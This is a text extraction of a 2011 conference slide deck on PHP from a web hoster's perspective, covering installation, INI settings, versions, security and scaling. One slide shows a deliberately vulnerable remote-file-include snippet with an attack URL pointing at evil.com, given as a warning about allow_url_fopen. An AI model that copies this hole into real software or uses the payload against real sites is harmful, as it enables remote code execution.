SlideShare a Scribd company logo
1 of 76
Download to read offline
PHP	
  through	
  the	
  eyes	
  of	
  a	
  hoster




Thijs	
  Feryn
Evangelist
+32	
  (0)9	
  218	
  79	
  06
thijs@combellgroup.com

PHPBenelux	
  Conference
Saturday	
  January	
  29th	
  2011
Antwerpen,	
  Belgium
Welcome	
  to	
  PHPBNL11
About	
  me




 I’m	
  the	
  support	
  manager	
  at	
  Combell
About	
  me


          I	
  used	
  to	
  be

 I’m	
  the	
  support	
  manager	
  at	
  Combell
About	
  me




 I’m	
  an	
  Evangelist	
  at	
  Combell
About	
  me




 I’m	
  a	
  board	
  member	
  at	
  PHPBenelux
I	
  live	
  in	
  the	
  wonderful	
  city	
  of	
  Bruges
      MPBecker	
  -­‐	
  Bruges	
  by	
  Night	
  hYp://www.flickr.com/photos/galverson2/3715965933
Follow	
  me	
  on	
  TwiYer:	
  @ThijsFeryn

  Read	
  my	
  blog:	
  hYp://blog.feryn.eu

Give	
  me	
  feedback:	
  hYp://joind.in/2490
Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
Chapter	
  I	
  :	
  The	
  hoster,	
  a	
  genuine	
  stakeholder	
  in	
  the	
  
PHP	
  universe
Stakeholders

     Customer                     Development	
  company

  Endusers     MGMT       Devs        MGMT     Design         PM



  Internal     Internal
     IT          PM       Sales        QA      Systeam     Consultant




                 Hoster       PHP	
  community
Stakeholders


               Somewhere	
  along	
  the	
  road	
  ...




               Your	
  app	
  needs	
  to	
  be	
  hosted
Goals	
  &	
  mocves

 Our	
  goals	
  &	
  moEves	
  are	
  the	
  same	
  as	
  yours:
 • It	
  has	
  to	
  work
 • It	
  has	
  to	
  perform
 • It	
  has	
  to	
  scale
 • It	
  has	
  to	
  be	
  secure
 • It	
  has	
  to	
  be	
  available
Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
Chapter	
  II:	
  Installacon	
  &	
  configuracon
Installing	
  from	
  source

server$	
  ./configure	
  -­‐-­‐prefix=/usr/local/php-­‐5.2.10	
  
-­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs	
  -­‐-­‐
with-­‐zlib	
  -­‐-­‐with-­‐curl	
  -­‐-­‐with-­‐gd	
  -­‐-­‐enable-­‐mbstring	
  
-­‐-­‐with-­‐mysql	
  -­‐-­‐with-­‐mysqli	
  -­‐-­‐enable-­‐pcntl	
  -­‐-­‐with-­‐
pdo-­‐mysql	
  -­‐-­‐with-­‐readline	
  -­‐-­‐enable-­‐soap	
  -­‐-­‐with-­‐xsl	
  
-­‐-­‐with-­‐mcrypt	
  -­‐-­‐with-­‐mssql	
  -­‐-­‐with-­‐snmp	
  -­‐-­‐with-­‐imap	
  
-­‐-­‐with-­‐kerberos	
  -­‐-­‐with-­‐imap-­‐ssl	
  -­‐-­‐with-­‐config-­‐
file-­‐path=/etc/php5/	
  -­‐-­‐enable-­‐sockets	
  -­‐-­‐with-­‐
freetype-­‐dir	
  -­‐-­‐with-­‐openssl	
  

server$	
  make

server$	
  make	
  install
Installing	
  using	
  a	
  package	
  manager	
  (APT/Apctude)

Install	
  PHP:
  server$	
  apt-­‐get	
  install	
  php5


Install	
  MySQL	
  library	
  for	
  PHP:

  server$	
  apt-­‐get	
  install	
  php5-­‐mysql
SAPI	
  ...	
  schmapi

                             Mod_php                  FastCGI                    CLI


        Web              Apache	
  module            gateway                      -­‐


      Process            Apache	
  process            php-­‐cgi                 php


  ConfiguraEon            Apache	
  conf	
  files      wrapper                on	
  the	
  fly


                                                  shell	
  user	
  or	
  
        User                Apache	
  user                                  shell	
  user
                                                  suexec	
  user
FastCGI

Example	
  config:
• Apache	
  handler
   	
  	
  <IfModule	
  mod_fcgid.c>
   	
  	
  	
  	
  SuexecUserGroup	
  dev	
  dev
   	
  	
  	
  	
  PHP_Fix_Pathinfo_Enable	
  1
   	
  	
  	
  	
  <Directory	
  /var/www/dev/www/>
   	
  	
  	
  	
  	
  	
  Options	
  +ExecCGI
   	
  	
  	
  	
  	
  	
  AllowOverride	
  All
   	
  	
  	
  	
  	
  	
  AddHandler	
  fcgid-­‐script	
  .php
   	
  	
  	
  	
  	
  	
  FCGIWrapper	
  /var/www/dev/etc/fcgi.wrapper	
  .php
   	
  	
  	
  	
  	
  	
  Order	
  allow,deny
   	
  	
  	
  	
  	
  	
  Allow	
  from	
  all
   	
  	
  	
  	
  </Directory>
   	
  	
  </IfModule>
FastCGI

Example	
  config:
• Wrapper	
  script
    #!/bin/sh
    PHPRC=/usr/local/php-­‐5.3.1/etc
    export	
  PHPRC
    export	
  PHP_FCGI_MAX_REQUESTS=5000
    export	
  PHP_FCGI_CHILDREN=8
    exec	
  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
INI	
  seengs:	
  tales	
  of	
  good	
  &	
  evil
INI	
  seengs:	
  tales	
  of	
  good	
  &	
  evil

Defining	
  INI	
  seengs:
• Php.ini
• Ini_set()
• “-­‐d”	
  
• php_value
• php_flag
• php_admin_value
• php_admin_flag
INI	
  seengs:	
  tales	
  of	
  good	
  &	
  evil

Memory_limit:


    Fatal	
  error:	
  Allowed	
  memory	
  size	
  of	
  16777216	
  
    bytes	
  exhausted	
  (tried	
  to	
  allocate	
  35	
  bytes)
Php through the eyes of a hoster phpbnl11
INI	
  seengs:	
  tales	
  of	
  good	
  &	
  evil

Safe_mode	
  &	
  Open_basedir:

 <IfModule	
  mod_php5.c>
 	
  	
  	
  	
  php_admin_flag	
  engine	
  on
 	
  	
  	
  	
  php_admin_flag	
  safe_mode	
  off
 	
  	
  	
  	
  php_admin_value	
  open_basedir	
  "/var/www/vhosts/
 website.com/httpdocs:/tmp"
 </IfModule>
INI	
  seengs:	
  tales	
  of	
  good	
  &	
  evil

Allow_url_fopen:

                    <?php
                    $lang= $_GET['lang'];
                    require("$lang.php");


http://domain.ext/index.php?lang=http://evil.com/hack.txt?
Chapter	
  III:	
  Versions	
  &	
  features
PHP	
  4:	
  End	
  of	
  life,	
  but	
  far	
  from	
  dead
PHP	
  4:	
  End	
  of	
  life,	
  but	
  far	
  from	
  dead




 Parse	
  error:	
  syntax	
  error,	
  unexpected	
  T_STRING,	
  
 expecting	
  T_OLD_FUNCTION	
  or	
  T_FUNCTION	
  or	
  T_VAR	
  
 or	
  '}'	
  in	
  test.php	
  on	
  line	
  4
Developers	
  love	
  bling	
  bling
It	
  HAS	
  to	
  be	
  PHP	
  5.3.5	
  !!!
I	
  need	
  ALL	
  PHP	
  extension	
  !!!
I	
  use	
  ALL	
  PHP	
  features	
  !!!
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL

PEAR
PHP	
  Extension	
  and	
  ApplicaEon	
  Repository	
  (h#p//pear.php.net)

 server$	
  lynx	
  -­‐source	
  http://pear.php.net/go-­‐pear	
  |	
  php

 server$	
  pear	
  install	
  date
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL

PECL	
  (pickle)
PHP	
  Extension	
  Community	
  Library	
  (h#p//pecl.php.net)




          server$	
  pecl	
  install	
  pecl_http
External	
  frameworks


     Popular	
  frameworks	
  outside	
  the	
  PHP	
  project
Chapter	
  IV:	
  PHP	
  aYracts	
  a	
  crowd
It’s	
  easy	
  !
That	
  easy	
  !




                    <?php
                    echo "Hello world!";
It’s	
  cheap	
  !
It’s	
  stable	
  !
Everyone	
  can	
  be	
  a	
  PHP	
  developer
But	
  not	
  everyone	
  has	
  what	
  it	
  takes
Luckily	
  there’s	
  a	
  lot	
  ready-­‐to-­‐use	
  PHP	
  soware	
  out	
  
there
Who	
  you	
  gonna	
  call	
  ?
But	
  when	
  helpers	
  need	
  help	
  ...
They	
  reach	
  out	
  to	
  the	
  PHP	
  community

                                                  User	
  Group	
  meeEngs




             Twi^er                                            Blogs
                                                    Forums
                        PHP.net



                       IRC                     Conferences
Chapter	
  V:	
  Here	
  be	
  phpirates
Here	
  be	
  phpirates
Fact




 “The	
  majority	
  of	
  hacking/absue	
  cases	
  are	
  PHP	
  related”
False	
  assumpcons

                                           “Open	
  source	
  is	
  evil”




“PHP	
  has	
  lots	
  of	
  security	
  vulnerabiliEes	
  and	
  is	
  not	
  mature”
Here	
  be	
  phpirates



The	
  real	
  issues
• Quality	
  of	
  the	
  code
• Network	
  &	
  server	
  security
• PHP	
  version	
  &	
  configuraEon
Responsibilices
Chapter	
  VI:	
  Scalability
Performance	
  ==	
  speed
Scalability	
  ==	
  constant	
  speed	
  under	
  increasing	
  load
Scaling	
  up
Scaling	
  out
Developers	
  (some2mes)	
  forget	
  ...
Scaling	
  MySQL
mysql>	
  explain	
  SELECT	
  field1,	
  (SELECT	
  COUNT(*)	
  FROM	
  table2	
  WHERE	
  field3	
  =	
  
table1.id)	
  FROM	
  table1	
  WHERE	
  field2	
  =	
  1	
  	
  ORDER	
  BY	
  field4	
  DESC	
  limit	
  
12,12;

***************************	
  1.	
  row	
  ***************************
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  id:	
  1
	
  	
  select_type:	
  PRIMARY
	
  	
  	
  	
  	
  	
  	
  	
  table:	
  table1
	
  	
  	
  	
  	
  	
  	
  	
  	
  type:	
  ALL
possible_keys:	
  approved
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  key:	
  approved
	
  	
  	
  	
  	
  	
  key_len:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ref:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  rows:	
  3143
	
  	
  	
  	
  	
  	
  	
  	
  Extra:	
  Using	
  where;	
  Using	
  filesort
***************************	
  2.	
  row	
  ***************************
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  id:	
  2
	
  	
  select_type:	
  DEPENDENT	
  SUBQUERY
	
  	
  	
  	
  	
  	
  	
  	
  table:	
  table2
	
  	
  	
  	
  	
  	
  	
  	
  	
  type:	
  ALL
possible_keys:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  key:	
  NULL
	
  	
  	
  	
  	
  	
  key_len:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ref:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  rows:	
  1005
	
  	
  	
  	
  	
  	
  	
  	
  Extra:	
  Using	
  where
mysql>	
  show	
  processlist;
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
|	
  Id	
  	
  	
  	
  |	
  User	
  |	
  Host	
  	
  	
  	
  	
  	
  |	
  db	
  |	
  Command	
  |	
  Time	
  |	
  State	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  Info	
  	
  	
  
                                                                                                                                                                                                           	
  
|
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
|	
  63515	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  NULL	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  show	
  
processlist	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |
|	
  81763	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Sleep	
  	
  	
  |	
  	
  105	
  |	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  NULL	
  	
  	
  
                                                                                                                                                                                                           	
  
|
|	
  85187	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Sending	
  data	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  field	
  =	
  'val'	
  	
  |
|	
  82701	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Copying	
  to	
  tmp	
  table	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  field='val2'	
  	
  	
  |
|	
  82709	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Sorting	
  result	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  order	
  by	
  field	
  |
|	
  82716	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Opening	
  tables	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someOtherTable	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
Scaling	
  MySQL	
  with	
  replicacon
PHP	
  scalability	
  toolbox
Php through the eyes of a hoster phpbnl11
Memcached
Gearman
Varnish
Summary
Summary

1.Hosters	
  are	
  a	
  genuine	
  stakeholder	
  in	
  the	
  PHP	
  universe
2.PHP	
  is	
  highly	
  flexible	
  &	
  configurable.	
  Hosters	
  have	
  to	
  ensure	
  a	
  decent	
  
  setup
3.PHP	
  has	
  a	
  lot	
  to	
  offer	
  feature-­‐wise
4.PHP	
  aDracts	
  a	
  crowd	
  and	
  brings	
  a	
  lot	
  of	
  people	
  together	
  from	
  
  different	
  industries	
  (e.g.	
  hosters)
5.Lots	
  of	
  abuse	
  cases	
  are	
  PHP	
  related,	
  but	
  that’s	
  not	
  the	
  fault	
  of	
  PHP	
  
  itself
6.PHP	
  itself	
  doesn’t	
  scale	
  *that*	
  well,	
  but	
  is	
  flexible	
  enough	
  to	
  ensure	
  
  scalability	
  via	
  extra	
  tools
Php through the eyes of a hoster phpbnl11
Q&A

More Related Content

What's hot

Realtime Communication Techniques with PHP
Realtime Communication Techniques with PHPRealtime Communication Techniques with PHP
Realtime Communication Techniques with PHPWaterSpout
 
How to do everything with PowerShell
How to do everything with PowerShellHow to do everything with PowerShell
How to do everything with PowerShellJuan Carlos Gonzalez
 
Hacking in shadows By - Raghav Bisht
Hacking in shadows By - Raghav BishtHacking in shadows By - Raghav Bisht
Hacking in shadows By - Raghav BishtRaghav Bisht
 
Automatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themesAutomatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themesOtto Kekäläinen
 
Why and How Powershell will rule the Command Line - Barcamp LA 4
Why and How Powershell will rule the Command Line - Barcamp LA 4Why and How Powershell will rule the Command Line - Barcamp LA 4
Why and How Powershell will rule the Command Line - Barcamp LA 4Ilya Haykinson
 
[MathWorks] Versioning Infrastructure
[MathWorks] Versioning Infrastructure[MathWorks] Versioning Infrastructure
[MathWorks] Versioning InfrastructurePerforce
 
WE18_Performance_Up.ppt
WE18_Performance_Up.pptWE18_Performance_Up.ppt
WE18_Performance_Up.pptwebhostingguy
 
Metasploit magic the dark coners of the framework
Metasploit magic   the dark coners of the frameworkMetasploit magic   the dark coners of the framework
Metasploit magic the dark coners of the frameworkRob Fuller
 
Antivirus Bypass Techniques - 2016
Antivirus Bypass Techniques - 2016Antivirus Bypass Techniques - 2016
Antivirus Bypass Techniques - 2016Raghav Bisht
 
Sunil phani's take on windows powershell
Sunil phani's take on windows powershellSunil phani's take on windows powershell
Sunil phani's take on windows powershellSunil Phani
 
PuppetConf 2016: Puppet 4.x: The Low WAT-tage Edition – Nick Fagerlund, Puppet
PuppetConf 2016: Puppet 4.x: The Low WAT-tage Edition – Nick Fagerlund, PuppetPuppetConf 2016: Puppet 4.x: The Low WAT-tage Edition – Nick Fagerlund, Puppet
PuppetConf 2016: Puppet 4.x: The Low WAT-tage Edition – Nick Fagerlund, PuppetPuppet
 
Website releases made easy with the PEAR installer, OSCON 2009
Website releases made easy with the PEAR installer, OSCON 2009Website releases made easy with the PEAR installer, OSCON 2009
Website releases made easy with the PEAR installer, OSCON 2009Helgi Þormar Þorbjörnsson
 
Incorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>AttackIncorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>Attackjaredhaight
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application HackingRaghav Bisht
 
Introduction To Windows Power Shell
Introduction To Windows Power ShellIntroduction To Windows Power Shell
Introduction To Windows Power ShellMicrosoft TechNet
 
Introduction to Node js for beginners + game project
Introduction to Node js for beginners + game projectIntroduction to Node js for beginners + game project
Introduction to Node js for beginners + game projectLaurence Svekis ✔
 
Understanding PHP memory
Understanding PHP memoryUnderstanding PHP memory
Understanding PHP memoryjulien pauli
 
Website releases made easy with the PEAR installer - Barcelona 2008
Website releases made easy with the PEAR installer - Barcelona 2008Website releases made easy with the PEAR installer - Barcelona 2008
Website releases made easy with the PEAR installer - Barcelona 2008Helgi Þormar Þorbjörnsson
 

What's hot (20)

Realtime Communication Techniques with PHP
Realtime Communication Techniques with PHPRealtime Communication Techniques with PHP
Realtime Communication Techniques with PHP
 
How to do everything with PowerShell
How to do everything with PowerShellHow to do everything with PowerShell
How to do everything with PowerShell
 
are available here
are available hereare available here
are available here
 
Hacking in shadows By - Raghav Bisht
Hacking in shadows By - Raghav BishtHacking in shadows By - Raghav Bisht
Hacking in shadows By - Raghav Bisht
 
Automatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themesAutomatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themes
 
Why and How Powershell will rule the Command Line - Barcamp LA 4
Why and How Powershell will rule the Command Line - Barcamp LA 4Why and How Powershell will rule the Command Line - Barcamp LA 4
Why and How Powershell will rule the Command Line - Barcamp LA 4
 
[MathWorks] Versioning Infrastructure
[MathWorks] Versioning Infrastructure[MathWorks] Versioning Infrastructure
[MathWorks] Versioning Infrastructure
 
WE18_Performance_Up.ppt
WE18_Performance_Up.pptWE18_Performance_Up.ppt
WE18_Performance_Up.ppt
 
Metasploit magic the dark coners of the framework
Metasploit magic   the dark coners of the frameworkMetasploit magic   the dark coners of the framework
Metasploit magic the dark coners of the framework
 
Antivirus Bypass Techniques - 2016
Antivirus Bypass Techniques - 2016Antivirus Bypass Techniques - 2016
Antivirus Bypass Techniques - 2016
 
Sunil phani's take on windows powershell
Sunil phani's take on windows powershellSunil phani's take on windows powershell
Sunil phani's take on windows powershell
 
PuppetConf 2016: Puppet 4.x: The Low WAT-tage Edition – Nick Fagerlund, Puppet
PuppetConf 2016: Puppet 4.x: The Low WAT-tage Edition – Nick Fagerlund, PuppetPuppetConf 2016: Puppet 4.x: The Low WAT-tage Edition – Nick Fagerlund, Puppet
PuppetConf 2016: Puppet 4.x: The Low WAT-tage Edition – Nick Fagerlund, Puppet
 
Website releases made easy with the PEAR installer, OSCON 2009
Website releases made easy with the PEAR installer, OSCON 2009Website releases made easy with the PEAR installer, OSCON 2009
Website releases made easy with the PEAR installer, OSCON 2009
 
Incorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>AttackIncorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>Attack
 
A Year in the Empire
A Year in the EmpireA Year in the Empire
A Year in the Empire
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application Hacking
 
Introduction To Windows Power Shell
Introduction To Windows Power ShellIntroduction To Windows Power Shell
Introduction To Windows Power Shell
 
Introduction to Node js for beginners + game project
Introduction to Node js for beginners + game projectIntroduction to Node js for beginners + game project
Introduction to Node js for beginners + game project
 
Understanding PHP memory
Understanding PHP memoryUnderstanding PHP memory
Understanding PHP memory
 
Website releases made easy with the PEAR installer - Barcelona 2008
Website releases made easy with the PEAR installer - Barcelona 2008Website releases made easy with the PEAR installer - Barcelona 2008
Website releases made easy with the PEAR installer - Barcelona 2008
 

Viewers also liked

Graduate Design - Nutrient
Graduate Design - NutrientGraduate Design - Nutrient
Graduate Design - NutrientHaoxiang Shen
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Combell NV
 
Measuring ROI for Social Media
Measuring ROI for Social MediaMeasuring ROI for Social Media
Measuring ROI for Social MediaEvo Terra
 
Upshot 2015 trend_slrgprt
Upshot 2015 trend_slrgprtUpshot 2015 trend_slrgprt
Upshot 2015 trend_slrgprtLiz Aviles
 
The internet has gone Cloud fot11
The internet has gone Cloud fot11The internet has gone Cloud fot11
The internet has gone Cloud fot11Combell NV
 
plone.app.multilingual
plone.app.multilingual plone.app.multilingual
plone.app.multilingual Ramon Navarro
 
Lista unitária graduação musica 1180
Lista unitária graduação musica 1180Lista unitária graduação musica 1180
Lista unitária graduação musica 1180Pedro França
 
Cloud hosting today
Cloud hosting todayCloud hosting today
Cloud hosting todayCombell NV
 
Implementing A Diversity Program
Implementing A Diversity ProgramImplementing A Diversity Program
Implementing A Diversity ProgramGlen Raj
 
La base per a l'aprenentatge s xxi
La base per a l'aprenentatge s xxiLa base per a l'aprenentatge s xxi
La base per a l'aprenentatge s xxiNuria Alart
 
WordCamp Toronto 2011 - Managing Your Editorial Workflow
WordCamp Toronto 2011 - Managing Your Editorial WorkflowWordCamp Toronto 2011 - Managing Your Editorial Workflow
WordCamp Toronto 2011 - Managing Your Editorial WorkflowMo Jangda
 
Agron 342 Amanda Sewell
Agron 342 Amanda SewellAgron 342 Amanda Sewell
Agron 342 Amanda Sewellsewella
 
The Reflection Pool
The Reflection PoolThe Reflection Pool
The Reflection PoolMrs. McCabe
 
Fall Into Reading With Four Blocks
Fall Into Reading With Four BlocksFall Into Reading With Four Blocks
Fall Into Reading With Four BlocksCheryl Dick
 

Viewers also liked (20)

Graduate Design - Nutrient
Graduate Design - NutrientGraduate Design - Nutrient
Graduate Design - Nutrient
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012
 
Measuring ROI for Social Media
Measuring ROI for Social MediaMeasuring ROI for Social Media
Measuring ROI for Social Media
 
Upshot 2015 trend_slrgprt
Upshot 2015 trend_slrgprtUpshot 2015 trend_slrgprt
Upshot 2015 trend_slrgprt
 
The internet has gone Cloud fot11
The internet has gone Cloud fot11The internet has gone Cloud fot11
The internet has gone Cloud fot11
 
plone.app.multilingual
plone.app.multilingual plone.app.multilingual
plone.app.multilingual
 
Nutrient design
Nutrient designNutrient design
Nutrient design
 
Gospel in the home
Gospel in the home Gospel in the home
Gospel in the home
 
Lista unitária graduação musica 1180
Lista unitária graduação musica 1180Lista unitária graduação musica 1180
Lista unitária graduação musica 1180
 
L‘Harmony_Report
L‘Harmony_ReportL‘Harmony_Report
L‘Harmony_Report
 
LA 4.5 Lillo
LA 4.5 LilloLA 4.5 Lillo
LA 4.5 Lillo
 
Cloud hosting today
Cloud hosting todayCloud hosting today
Cloud hosting today
 
Implementing A Diversity Program
Implementing A Diversity ProgramImplementing A Diversity Program
Implementing A Diversity Program
 
La base per a l'aprenentatge s xxi
La base per a l'aprenentatge s xxiLa base per a l'aprenentatge s xxi
La base per a l'aprenentatge s xxi
 
WordCamp Toronto 2011 - Managing Your Editorial Workflow
WordCamp Toronto 2011 - Managing Your Editorial WorkflowWordCamp Toronto 2011 - Managing Your Editorial Workflow
WordCamp Toronto 2011 - Managing Your Editorial Workflow
 
Agron 342 Amanda Sewell
Agron 342 Amanda SewellAgron 342 Amanda Sewell
Agron 342 Amanda Sewell
 
The Reflection Pool
The Reflection PoolThe Reflection Pool
The Reflection Pool
 
World Cultures
World CulturesWorld Cultures
World Cultures
 
Carolines Presentaion
Carolines PresentaionCarolines Presentaion
Carolines Presentaion
 
Fall Into Reading With Four Blocks
Fall Into Reading With Four BlocksFall Into Reading With Four Blocks
Fall Into Reading With Four Blocks
 

Similar to Php through the eyes of a hoster phpbnl11

Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hosterCombell NV
 
Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confooCombell NV
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Combell NV
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Combell NV
 
php & performance
 php & performance php & performance
php & performancesimon8410
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php confHash Lin
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Orange Tsai
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHPJonathan Klein
 
PHP & Performance
PHP & PerformancePHP & Performance
PHP & Performance毅 吕
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshopjulien pauli
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Wim Godden
 
Php Inside - confoo 2011 - Derick Rethans
Php Inside -  confoo 2011 - Derick RethansPhp Inside -  confoo 2011 - Derick Rethans
Php Inside - confoo 2011 - Derick RethansBachkoutou Toutou
 
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit SoftwaretestsEffizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit SoftwaretestsDECK36
 
Php extensions workshop
Php extensions workshopPhp extensions workshop
Php extensions workshopjulien pauli
 
Converting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - CascadiaConverting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - CascadiaDana Luther
 
Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]Dana Luther
 
Why we choose Symfony2
Why we choose Symfony2Why we choose Symfony2
Why we choose Symfony2Merixstudio
 
2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida realPHP Conference Argentina
 

Similar to Php through the eyes of a hoster phpbnl11 (20)

Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hoster
 
